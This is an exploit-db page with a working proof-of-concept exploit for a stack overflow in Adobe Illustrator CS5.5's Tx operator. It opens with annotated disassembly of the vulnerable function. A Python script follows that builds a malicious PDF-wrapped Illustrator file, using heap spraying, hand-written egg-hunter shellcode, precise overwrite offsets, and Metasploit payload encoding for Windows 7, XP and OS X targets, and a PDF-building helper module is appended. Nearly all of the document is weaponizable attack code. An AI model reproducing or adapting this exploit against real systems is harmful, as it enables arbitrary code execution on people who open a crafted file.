Adobe Illustrator CS5.5 – Memory Corruption

  • 作者: Felipe Andres Manzano
    日期: 2012-06-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19139/
  • ##########################################################################
    #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com####
    ##########################################################################
    '''
    The vulnerable function follows...
    ----------------------------------
    .text:004A7200 ; =============== S U B R O U T I N E =======================================
    .text:004A7200
    .text:004A7200 ; Attributes: bp-based frame
    .text:004A7200
    .text:004A7200 sub_4A7200proc near 
    .text:004A7200
    .text:004A7200 var_11C = dword ptr -11Ch
    .text:004A7200 var_118 = dword ptr -118h
    .text:004A7200 var_114 = byte ptr -114h
    .text:004A7200 var_14= dword ptr -14h
    .text:004A7200 var_10= dword ptr -10h
    .text:004A7200 var_C = dword ptr -0Ch
    .text:004A7200 var_4 = dword ptr -4
    .text:004A7200 arg_0 = dword ptr8
    .text:004A7200
    .text:004A7200 pushebp
    .text:004A7201 mov ebp, esp
    .text:004A7203 push0FFFFFFFFh
    .text:004A7205 pushoffset loc_C3B8C0
    .text:004A720A mov eax, large fs:0
    .text:004A7210 pusheax
    .text:004A7211 sub esp, 110h;Make room for a 256 bytes buffer, etc 
    .text:004A7217 mov eax, dword_FB3380
    .text:004A721C xor eax, ebp
    .text:004A721E mov [ebp+var_14], eax;Cookie! Immediately after the buffer
    .text:004A7221 pushebx
    .text:004A7222 pushesi
    .text:004A7223 pushedi
    .text:004A7224 pusheax
    .text:004A7225 lea eax, [ebp+var_C]
    .text:004A7228 mov large fs:0, eax
    .text:004A722E mov [ebp+var_10], esp
    .text:004A7231 mov ebx, [ebp+arg_0]
    .text:004A7234 mov edi, ecx
    .text:004A7236 mov ecx, ebx
    .text:004A7238 mov [ebp+var_118], ebx
    .text:004A723E callstd::basic_string::length(...) ;Original size offending size
    ;(It doesn;t stop at null chars)
    .text:004A7244 mov esi, eax
    .text:004A7246 pushesi
    .text:004A7247 mov ecx, ebx
    .text:004A7249 callstd::basic_string::c_str(...)
    .text:004A724F pusheax
    .text:004A7250 lea eax, [ebp+var_114]
    .text:004A7256 pusheax
    .text:004A7257 callmemcpy ;STACK OVERFLOW! (If more than 256 bytes)
    .text:004A725C lea eax, [ebp+esi+var_114]
    .text:004A7263 add esp, 0Ch
    .text:004A7266 mov [ebp+var_11C], eax
    .text:004A726C mov byte ptr [eax], 0
    .text:004A726F mov [ebp+var_4], 0
    .text:004A7276 lea esi, [ebp+var_114]
    .text:004A727C lea esp, [esp+0]
    .text:004A7280
    .text:004A7280 loc_4A7280: 
    .text:004A7280 cmp esi, eax
    .text:004A7282 jnb short loc_4A72B6
    .text:004A7284 mov edx, [edi]
    .text:004A7286 mov eax, [edx+4]
    .text:004A7289 pushesi
    .text:004A728A mov ecx, edi
    .text:004A728C calleax ;Iterates over the stack copied buffer
     ;applying a 'locale'? character translation
     ;(Invalid chars noted in exploit)
    .text:004A728E testeax, eax
    .text:004A7290 jgshort loc_4A7297
    .text:004A7292 mov eax, 1
    .text:004A7297
    .text:004A7297 loc_4A7297: 
    .text:004A7297 add esi, eax
    .text:004A7299 mov eax, [ebp+var_11C]
    .text:004A729F jmp short loc_4A7280
    .text:004A72AE ; ---------------------------------------------------------------------------
    .text:004A72AE
    .text:004A72AE loc_4A72AE: 
    .text:004A72AE mov ebx, [ebp+var_118]
    .text:004A72B4 jmp short loc_4A72BD
    .text:004A72B6 ; ---------------------------------------------------------------------------
    .text:004A72B6
    .text:004A72B6 loc_4A72B6: 
    .text:004A72B6 mov [ebp+var_4], 0FFFFFFFFh
    .text:004A72BD
    .text:004A72BD loc_4A72BD: 
    .text:004A72BD lea ecx, [ebp+var_114]
    .text:004A72C3 pushecx
    .text:004A72C4 mov ecx, ebx
    .text:004A72C6 callstd::basic_string::operator=(...) ;Here, due to local values 
     ;corruption it is possible to
     ;write a translated version of
     ;our buffer to anywhere 
    .text:004A72CC mov ecx, [ebp+var_C]
    .text:004A72CF mov large fs:0, ecx
    .text:004A72D6 pop ecx
    .text:004A72D7 pop edi
    .text:004A72D8 pop esi
    .text:004A72D9 pop ebx
    .text:004A72DA mov ecx, [ebp+var_14]
    .text:004A72DD xor ecx, ebp
    .text:004A72DF callsub_C27512 ;Check the cookie
    .text:004A72E4 mov esp, ebp
    .text:004A72E6 pop ebp
    .text:004A72E7 retn4
    .text:004A72E7 sub_4A7200endp
    .text:004A72E7
    
    
    f/
    '''
    
    #Exploit PoC begins...
    from miniPDF import * #http://pastebin.com/LUTXSSvV
    import zlib,struct,os,optparse,hashlib
    from subprocess import Popen, PIPE
    #Character translation map for the copied buffer (Reversed from function 004A72F0)
    cmap=[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,
    0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F,
    0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,
    0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,
    0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F,
    0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x00,
    0x80,0x00,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x00,0x00,0x00,
    0x00,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x00,0x00,0x9F,
    0x20,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x2D,0xAE,0xAF,
    0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF,
    0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,
    0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,
    0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,
    0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF]
    invalid = [ i for i in xrange(0,0xff+1) if cmap[i] != i and i>0x1f]
    
    
    def getXImage(width, height, fill='\x90', tail='\xcc'):
    '''
    [ a b c d tx ty ] llx lly urx ury h w bits ImageType AlphaChannelCount reserved bin-ascii ImageMask XI
    Arguments to the XI operator specify the location and size of the image, its
    pixel bit depth, color type, and other attributes
    
    The image matrix maps the unit square of user space, bounded by
    (0, 0) and (1, 1) in user space, to the boundary of the source image in
    image space.
    '''
    
    doc = '''0 A
    u
    0 O
    0 g
    0 J 0 j 1 w 10 M []0 d
    0 XR
    %AI5_File:
    %AI5_BeginRaster
    [$width$ 0 0 $height$ 0 0] 0 0 $width$ $height$ $width$ $height$ 8 1 0 0 $bin_ascii$ 0
    %%BeginData: $size$
    XI
    $data$
    %%EndData
    XH
    %AI5_EndRaster
    F
    U
    '''
    bin_ascii = 1 #binary
    doc = doc.replace('$width$','%d'%width)
    doc = doc.replace('$height$','%d'%height)
    doc = doc.replace('$bin_ascii$','%d'%bin_ascii)
    doc = doc.replace('$size$','%d'%(width*height))
    
    data = (fill*(width*height))
    data = data[:width*height-len(tail)]+tail
    
    if bin_ascii == 0:
    data = data.encode('hex')
    data_formated = ''
    for i in xrange(0,len(data)+62,62):
    data_formated += '%'+data[i:i+62]+'\n'
    data = data_formated
    doc = doc.replace('$data$',data)
    return doc
    
    def makeASCIICode(msfpayload):
    msfpayload = Popen('msfpayload3.5 %s R'%msfpayload, shell=True, stdout=PIPE)
    msfencode= Popen("msfencode3.5 BufferRegister=EAX -e x86/alpha_mixed -b '%s' -t raw"%''.join(['\\x%02x'%x for x in invalid]), 
    shell=True, 
    stdin=msfpayload.stdout, 
    stdout=PIPE)
    code = msfencode.communicate()[0]
    return code
    
    def mkAIPrivate(options):
    baseai = '''
    %!PS-Adobe-3.0 
    %%Creator: Adobe Illustrator(TM) 3.2
    %%AI8_CreatorVersion: 15.0.2
    %AI5_FileFormat 11.0
    %%For: (Administrator) ()
    %%Title: (thafile.ai)
    %%CreationDate: 1/21/2011 12:32 PM
    %%Canvassize: 16383
    %%BoundingBox: 29 -389 198 75
    %%DocumentProcessColors: Black
    %%DocumentFonts: MyriadPro-Regular
    %%DocumentNeededFonts: MyriadPro-Regular
    %%DocumentNeededResources: procset Adobe_packedarray 2.0 0
    %%+ procset Adobe_cshow 1.1 0
    %%+ procset Adobe_customcolor 1.0 0
    %%+ procset Adobe_typography_AI3 1.0 1
    %%+ procset Adobe_pattern_AI3 1.0 0
    %%+ procset Adobe_Illustrator_AI3 1.0 1
    %AI3_ColorUsage: Color
    %AI3_TemplateBox: 298 -421 298 -421
    %AI3_TileBox: -8.35986 -816.9453 603.6406 -24.9448
    %AI3_DocumentPreview: None
    %%PageOrigin:-8 -817
    %AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9
    %AI9_Flatten: 1
    %AI12_CMSettings: 00.MS
    %%EndComments
    %%BeginProlog
    %%IncludeResource: procset Adobe_packedarray 2.0 0
    Adobe_packedarray /initialize get exec
    %%IncludeResource: procset Adobe_cshow 1.1 0
    %%IncludeResource: procset Adobe_customcolor 1.0 0
    %%IncludeResource: procset Adobe_typography_AI3 1.0 1
    %%IncludeResource: procset Adobe_pattern_AI3 1.0 0
    %%IncludeResource: procset Adobe_Illustrator_AI3 1.0 1
    %%EndProlog
    %%BeginSetup
    %%IncludeFont: MyriadPro-Regular
    Adobe_cshow /initialize get exec
    Adobe_customcolor /initialize get exec
    Adobe_typography_AI3 /initialize get exec
    Adobe_pattern_AI3 /initialize get exec
    Adobe_Illustrator_AI3 /initialize get exec
    [
    39/quotesingle 96/grave 128/Euro 130/quotesinglbase/florin/quotedblbase/ellipsis
    /dagger/daggerdbl/circumflex/perthousand/Scaron/guilsinglleft/OE 145/quoteleft
    /quoteright/quotedblleft/quotedblright/bullet/endash/emdash/tilde/trademark
    /scaron/guilsinglright/oe/dotlessi 159/Ydieresis /space 164/currency 166/brokenbar
    168/dieresis/copyright/ordfeminine 172/logicalnot/hyphen/registered/macron/ring
    /plusminus/twosuperior/threesuperior/acute/mu 183/periodcentered/cedilla
    /onesuperior/ordmasculine 188/onequarter/onehalf/threequarters 192/Agrave
    /Aacute/Acircumflex/Atilde/Adieresis/Aring/AE/Ccedilla/Egrave/Eacute
    /Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex/Idieresis/Eth/Ntilde
    /Ograve/Oacute/Ocircumflex/Otilde/Odieresis/multiply/Oslash/Ugrave
    /Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls/agrave/aacute
    /acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute/ecircumflex
    /edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve/oacute
    /ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex
    /udieresis/yacute/thorn/ydieresis
    TE
    %AI3_BeginEncoding: _MyriadPro-Regular MyriadPro-Regular
    [/_MyriadPro-Regular/MyriadPro-Regular 0 0 1 TZ
    %AI3_EndEncoding AdobeType
    %%EndSetup
    $HEAPSPRAY$
    u
    0 To
    1 0 0 1 63.9058 -54.9058 0 Tp
    TP
    1 0 0 1 63.9058 -54.9058 Tm
    0 Tr
    0 O
    0 0 0 1 k
    4 M
    /_MyriadPro-Regular 12 Tf
    100 Tz
    0 Tt
    0 0 Tl
    0 Tc
    ($PATTERN$) Tx 1 0 Tk
    TO
    U
    %%PageTrailer
    gsave annotatepage grestore showpage
    %%Trailer
    Adobe_Illustrator_AI3 /terminate get exec
    Adobe_pattern_AI3 /terminate get exec
    Adobe_typography_AI3 /terminate get exec
    Adobe_customcolor /terminate get exec
    Adobe_cshow /terminate get exec
    Adobe_packedarray /terminate get exec
    %%EOF
    '''
    
    
    #configure token and search code snipet
    token = 0x494c4546
    
    if options.w7:
    #Win7 In w7 the environment memory is 0x10000bytes long!
    msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process'
    baseai = baseai.replace('$HEAPSPRAY$','')
    jmp_addr = 0x00001FF01
    write_addr = 0x0001FF01
    elif options.xp:
    #XPSP3
    msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process'
    baseai = baseai.replace('$HEAPSPRAY$','')
    jmp_addr = 0x10F00 
    write_addr = 0x10F00
    elif options.osx:
    code = Popen('msfpayload3.5 osx/x86/exec CMD=/Applications/Calculator.app/Contents/MacOS/Calculator EXITFUNC=process R', shell=True, stdout=PIPE).communicate()[0]
    baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail='\xcc'+code+'\xcc')*300 )
    payload = "A"*284
    payload += struct.pack("<L", 0x31000100)
    #Write the string in octal form
    ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload]))
    return ai_data
    elif options.multi:
    msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=seh'
    jmp_addr = 0x18e41111
    write_addr = 0xFFFF #Segfault
    #configure token and search code snipet
    search = '\x80\x79\xff\x01'#CMP BYTE [ECX-1],1
    search += '\x74\x18'#JZ fixstack
    search += '\xc6\x41\xff\x01'#MOV BYTE [ECX-1],1
    search += '\x58'#search: pop EAX
    search += '\x3D'+struct.pack('<L',token)#cmp EAX, $token
    search += '\x75\xF8'#jnz %search
    search += '\x89\xe0'#mov eax,esp 
    search += '\x81\xec'+struct.pack("<L",0x1000) #sub esp, 0x1000
    search += '\x89\xe5'#mov ebp,esp
    search += '\xFF\xD0'#CALL EAX
    ##Second crash fix stack
    # Search for stack signature (Tested in 15.0.0 15.0.1 15.0.2)
    # 00000045
    # 00000001
    # 00000000
    # 00000045
    search +='\x81\xc4'+struct.pack("<L",0x1000) #add esp, 0x1000
    search += '\x58'#POP EAX
    search += '\x40'#INC EAX
    search += '\x83\xF8\x46'#CMP EAX,46
    search += '\x75\xF9'#JNE SHORT loop
    ###
    search += '\x58'#POP EAX
    search += '\x40'#INC EAX
    search += '\x83\xF8\x02'#CMP EAX,02
    search += '\x75\xF9'#JNE SHORT loop
    ###
    search += '\x58'#POP EAX
    search += '\x40'#INC EAX
    search += '\x83\xF8\x01'#CMP EAX,01
    search += '\x75\xF9'#JNE SHORT loop
    ###
    search += '\x58'#POP EAX
    search += '\x40'#INC EAX
    search += '\x83\xF8\x46'#CMP EAX,46
    search += '\x75\xF9'#JNE SHORT loop
    #Fix frame and return
    search += '\x83\xEC\x1C' #SUB ESP,1C
    search += '\x5d' #POP EBP
    search += '\xc3' #RET
    
    baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail=search)*300 )
    else:
    #DEBUG
    def pattern(size):
    def _pattern():
    for i in xrange(ord('a'),ord('z')+1):
    for j in xrange(ord('0'),ord('9')+1):
    for k in xrange(ord('A'),ord('Z')+1):
    for h in xrange(ord('0'),ord('9')+1):
    yield chr(i)
    yield chr(j)
    yield chr(k)
    yield chr(h)
    return''.join(list(_pattern())[:size])
    p = pattern(3000)
    ai_data = baseai.replace('($PATTERN$)','('+p+')').replace('$HEAPSPRAY$',getXImage(1020,1024)*20)
    return ai_data
    
     #prepare shellcode..
    if options.payload:
    msfpayload = args[1]
    
    code = makeASCIICode(msfpayload)
    
    search = '\x58'#search: pop EAX
    search += '\x3D'+struct.pack('<L',token)#cmp EAX, $token
    search += '\x75\xF8'#jnz %search
    search += '\x89\xe0'#mov eax,esp 
    search += '\x89\xe5'#mov ebp,esp
    search += '\xFF\xD0'#CALL EAX
    payload =search 
    payload += 'A'*(268 - len(payload))
    payload += struct.pack('<L',jmp_addr)#offset 268
    payload += 'B'*(352 - len(payload))
    payload += struct.pack('<L', write_addr) #offset 352 (originally a heap address)
    payload += 'C'*(376 - len(payload))
    payload += struct.pack('<L',token) #offset 376
    payload += code#offset 380
    
    assert len(payload)<=0x3000, 'Payload too long!, it may hit the end of the stack'
    #Double check it doesn't have invalid chars...
    for c in search:
    assert not ord(c) in invalid, 'c:%s is in %s'%('%02x'%ord(c),['\\x%02x'%x for x in invalid])
    
    #Write the string in octal form
    ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload]))
    
    #ai_data holds the ai private data to we inserted in the pdf shell
    return ai_data
    
    def mkPDFShell(ai_data):
    #The document
    doc = PDFDoc()
    #font
    font = PDFDict()
    font.add('Name', PDFName('F1'))
    font.add('Subtype', PDFName('Type1'))
    font.add('BaseFont', PDFName('Helvetica'))
    #name:font map
    fontname = PDFDict()
    fontname.add('F1',font)
    #resources
    resources = PDFDict()
    resources.add('Font',fontname)
    #contents
    contents= PDFStream({},'BT /F1 24 Tf 240 700 Td (Pedefe Pedefeito Pedefeon!) Tj ET')
    doc.add(contents)
    #begin illustrator bit
    private = PDFDict()
    illustrator = PDFDict()
    
    #slice the private data in 64k packs
    data = ai_data
    compress = {}
    chunk_size = 0xffff*20
    for i in xrange(0,len(data)/chunk_size+1):
    priv_data = PDFStream({'Filter': '/FlateDecode'},data[chunk_size*i:chunk_size*(i+1)].encode('zlib'))
    hsh = hashlib.md5(priv_data.stream)
    if not hsh.hexdigest() in compress.keys():
    doc.add(priv_data)
    ref = PDFRef(priv_data)
    compress[hsh.hexdigest()] = ref
    private.add('AIPrivateData%d'%(i+1),ref)
    
    private.add('NumBlock',PDFNum(len(data)/0xffff+1))
    private.add('ContainerVersion',PDFNum(15.0))
    private.add('CreatorVersion',PDFNum(15.0))
    private.add('RoundtripVersion',PDFNum(15.0))
    
    illustrator.add('LastModified',PDFString('D:20110202124811-07\'00\''))
    illustrator.add('Private',PDFRef(private))
    
    doc.add(private)
    doc.add(illustrator)
    #page
    page = PDFDict()
    page.add('Type',PDFName('Page'))
    page.add('Resources',resources)
    page.add('Contents', PDFRef(contents))
    page.add('PieceInfo',PDFDict({'Illustrator': PDFRef(illustrator)})) 
    doc.add(page)
    #pages
    pages = PDFDict()
    pages.add('Type', PDFName('Pages'))
    pages.add('Kids', PDFArray([PDFRef(page)]))
    pages.add('Count', PDFNum(1))
    #add parent reference in page
    page.add('Parent',PDFRef(pages))
    doc.add(pages)
    #catalog
    catalog = PDFDict()
    catalog.add('Type', PDFName('Catalog'))
    catalog.add('Pages', PDFRef(pages))
    doc.add(catalog)
    doc.setRoot(catalog)
    return str(doc)
    
    
    if __name__ == '__main__':
    
    parser = optparse.OptionParser(description='Adobe Illustrator File Format Tx operator Stack Overflow')
    parser.add_option('--debug', action='store_true', default=False, help='For debugging')
    parser.add_option('--multi', action='store_true', default=False, help='Heapspraying for multitarget')
    parser.add_option('--w7', action='store_true', default=False, help='For Windows7')
    parser.add_option('--xp', action='store_true', default=False, help='For Windows XP (generic)')
    parser.add_option('--osx', action='store_true', default=False, help='For OSX (tested on plain leopard)')
    parser.add_option('--payload',action='store_true', default=False, help="Metasploit payload. Ex. 'windows/exec CMD=calc.exe'")
    parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation')
    (options, args) = parser.parse_args()
    if not options.w7 + options.xp + options.debug + options.multi + options.osx + options.doc== 1:
    print 'Try --help'
    exit(-1)
    elif options.doc:
    print __doc__
    exit(0)
    
    ai_data = mkAIPrivate(options)
    print mkPDFShell(ai_data)
    
    #f/
    
    
    ########################### miniPDF.py module ############################
    
    ##########################################################################
    #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com####
    #### http://twitter.com/feliam * http://wordpress.com/feliam####
    ##########################################################################
    import struct
    
    #For constructing a minimal pdf file
    ## PDF REference 3rd edition:: 3.2 Objects
    class PDFObject:
    def __init__(self):
    self.n=None
    self.v=None
    def __str__(self):
    raise Exception("Fail")
    
    ## PDF REference 3rd edition:: 3.2.1 Booleans Objects
    class PDFBool(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    if self.s:
    return "true"
    return "false"
    
    ## PDF REference 3rd edition:: 3.2.2 Numeric Objects
    class PDFNum(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "%s"%self.s
    
    ## PDF REference 3rd edition:: 3.2.3 String Objects
    class PDFString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "(%s)"%self.s
    
    ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
    class PDFHexString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"
    
    ## A convenient type of literal Strings
    class PDFOctalString(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s="".join(["\\%03o"%ord(c) for c in s])
    def __str__(self):
    return "(%s)"%self.s
    
    ## PDF REference 3rd edition:: 3.2.4 Name Objects
    class PDFName(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    self.s=s
    def __str__(self):
    return "/%s"%self.s
    
    ## PDF REference 3rd edition:: 3.2.5 Array Objects
    class PDFArray(PDFObject):
    def __init__(self,s):
    PDFObject.__init__(self)
    assert type(s) == type([])
    self.s=s
    def append(self,o):
    self.s.append(o)
    return self
    def __str__(self):
    return "[%s]"%(" ".join([ o.__str__() for o in self.s]))
    
    ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
    class PDFDict(PDFObject):
    def __init__(self, d={}):
    PDFObject.__init__(self)
    self.dict = {}
    for k in d:
    self.dict[k]=d[k]
    
    def __iter__(self):
    for k in self.dict.keys():
    yield k
    
    def __iterkeys__(self):
    for k in self.dict.keys():
    yield k
    
    def __getitem__(self, key):
    return self.dict[key]
    
    def add(self,name,obj):
    self.dict[name] = obj
    
    def get(self,name):
    if name in self.dict.keys():
    return self.dict[name]
    else:
    return None
    
    def __str__(self):
    s="<<"
    for name in self.dict:
    s+="%s %s "%(PDFName(name),self.dict[name])
    s+=">>"
    return s
    
    ## PDF REference 3rd edition:: 3.2.7 Stream Objects
    class PDFStream(PDFDict):
    def __init__(self,d={},stream=""):
    PDFDict.__init__(self,d)
    self.stream=stream
    self.filtered=self.stream
    self.add('Length', len(stream))
    self.filters = []
    
    def appendFilter(self, filter):
    self.filters.append(filter)
    self._applyFilters() #yeah every time .. so what!
    
    def _applyFilters(self):
    self.filtered = self.stream
    for f in self.filters:
    self.filtered = f.encode(self.filtered)
    if len(self.filters)>0:
    self.add('Length', len(self.filtered))
    self.add('Filter', PDFArray([f.name for f in self.filters]))
    #Add Filter parameters ?
    def __str__(self):
    self._applyFilters() #yeah every time .. so what!
    s=""
    s+=PDFDict.__str__(self)
    s+="\nstream\n"
    s+=self.filtered
    s+="\nendstream"
    return s
    
    ## PDF REference 3rd edition:: 3.2.8 Null Object
    class PDFNull(PDFObject):
    def __init__(self):
    PDFObject.__init__(self)
    
    def __str__(self):
    return "null"
    
    
    ## PDF REference 3rd edition:: 3.2.9 Indirect Objects
    class UnResolved(PDFObject):
    def __init__(self,n,v):
    PDFObject.__init__(self)
    self.n=n
    self.v=v
    def __str__(self):
    return "UNRESOLVED(%d %d)"%(self.n,self.v)
    class PDFRef(PDFObject):
    def __init__(self,obj):
    PDFObject.__init__(self)
    self.obj=[obj]
    def __str__(self):
    if len(self.obj)==0:
    return "null"
    return "%d %d R"%(self.obj[0].n,self.obj[0].v)
    
    ## PDF REference 3rd edition:: 3.3 Filters
    ## Example Filter...
    class FlateDecode:
    name = PDFName('FlateDecode')
    def __init__(self):
    pass
    def encode(self,stream):
    return zlib.compress(stream)
    def decode(self,stream):
    return zlib.decompress(stream)
    
    ## PDF REference 3rd edition:: 3.4 File Structure
    ## Simplest file structure...
    class PDFDoc():
    def __init__(self,obfuscate=0):
    self.objs=[]
    self.info=None
    self.root=None
    def setRoot(self,root):
    self.root=root
    def setInfo(self,info):
    self.info=info
    def _add(self,obj):
    if obj.v!=None or obj.n!=None:
    raise Exception("Already added!!!")
    obj.v=0
    obj.n=1+len(self.objs)
    self.objs.append(obj)
    def add(self,obj):
    if type(obj) != type([]):
    self._add(obj);
    else:
    for o in obj:
    self._add(o)
    def _header(self):
    return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n"
    def __str__(self):
    doc1 = self._header()
    xref = {}
    for obj in self.objs:
    xref[obj.n] = len(doc1)
    doc1+="%d %d obj\n"%(obj.n,obj.v)
    doc1+=obj.__str__()
    doc1+="\nendobj\n" 
    posxref=len(doc1)
    doc1+="xref\n"
    doc1+="0 %d\n"%(len(self.objs)+1)
    doc1+="0000000000 65535 f \n"
    for xr in xref.keys():
    doc1+= "%010d %05d n \n"%(xref[xr],0)
    doc1+="trailer\n"
    trailer =PDFDict()
    trailer.add("Size",len(self.objs)+1)
    if self.root == None:
    raise Exception("Root not set!")
    trailer.add("Root",PDFRef(self.root))
    if self.info:
    trailer.add("Info",PDFRef(self.info))
    doc1+=trailer.__str__()
    doc1+="\nstartxref\n%d\n"%posxref
    doc1+="%%EOF"
    return doc1